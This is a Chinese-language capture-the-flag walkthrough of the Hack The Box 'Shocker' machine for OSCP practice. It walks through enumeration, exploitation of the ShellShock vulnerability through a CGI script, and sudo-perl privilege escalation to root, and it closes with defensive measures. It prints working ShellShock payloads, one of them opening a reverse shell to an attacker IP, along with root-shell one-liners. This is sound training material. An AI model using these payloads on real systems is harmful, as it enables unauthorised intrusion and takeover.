Oscp训练靶场之HTB-Shocker
字数 1125 2025-08-11 00:55:05
ShellShock漏洞利用实战教学:HTB-Shocker靶机渗透
1. ShellShock漏洞概述
ShellShock(破壳漏洞)是Unix Bash Shell中的高危漏洞,于2014年9月24日首次公开。该漏洞允许攻击者通过低版本的Bash执行任意shell命令,特别是在一些网络服务器部署中使用Bash处理请求的情况下。
2. 信息收集阶段
2.1 初始扫描
使用Nmap进行全面的端口和服务扫描:
nmap -sC -sV -A -v 10.10.10.56
扫描结果关键信息:
- 开放端口:
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
- 2222/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
- 操作系统:Linux (Ubuntu)
2.2 目录枚举
使用dirsearch进行目录扫描:
python3 dirsearch.py -u 10.10.10.56 --url-list=/usr/share/wordlists/dirbuster/director-list-2.3-medium.txt -e default
发现关键目录:
- /cgi-bin/
- /server-status/
进一步扫描/cgi-bin/目录下的可执行脚本:
python3 dirsearch.py -u 10.10.10.56/cgi-bin --url-list=/usr/share/wordlists/dirbuster/director-list-2.3-medium.txt -e sh,pl
发现关键文件:
- /cgi-bin/user.sh
3. 漏洞分析
访问http://10.10.10.56/cgi-bin/user.sh发现:
- 文件内容是
uptime命令的执行结果 - 每次访问内容会随时间变化,说明是实时执行
这表明:
- 服务器通过Bash shell执行命令
- 可能存在ShellShock漏洞
4. ShellShock漏洞利用
4.1 漏洞验证
使用curl测试ShellShock漏洞:
curl -A "() { :; }; echo; echo vulnerable" http://10.10.10.56/cgi-bin/user.sh
如果返回"vulnerable",则确认存在漏洞。
4.2 反弹Shell利用
在攻击机(10.10.14.7)上监听8888端口:
nc -lvnp 8888
执行利用代码:
wget -qO- -U "() { :; }; echo Content-Type: text/html; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.7/8888 0>&1" http://10.10.10.56/cgi-bin/user.sh
成功获取反弹shell后:
cd /home/shelly
cat user.txt # 获取user权限
5. 权限提升
5.1 检查sudo权限
sudo -l
发现可以使用root权限执行Perl:
(root) NOPASSWD: /usr/bin/perl
5.2 利用Perl获取root shell
sudo /usr/bin/perl -e 'exec "/bin/sh"'
或者直接执行命令:
sudo perl -e 'system("/bin/bash")'
成功获取root权限后:
cd /root
cat root.txt
6. 防御措施
- Bash升级:升级到最新版本的Bash (4.3及以上)
- CGI脚本安全:
- 避免在CGI脚本中使用Bash
- 使用更安全的语言如Python或Perl
- 权限控制:
- 严格限制sudo权限
- 避免无密码sudo执行敏感命令
- 输入验证:对所有用户输入进行严格过滤
- 网络隔离:限制CGI目录的外部访问
7. 总结
本次渗透测试流程:
- 通过Nmap发现开放服务
- 目录枚举发现/cgi-bin/user.sh
- 分析确认ShellShock漏洞
- 利用漏洞获取初始shell
- 通过sudo权限提升获取root
关键点:
- ShellShock漏洞利用需要目标使用Bash处理HTTP请求
- 目录枚举是发现漏洞入口的关键
- sudo权限配置不当是权限提升的常见途径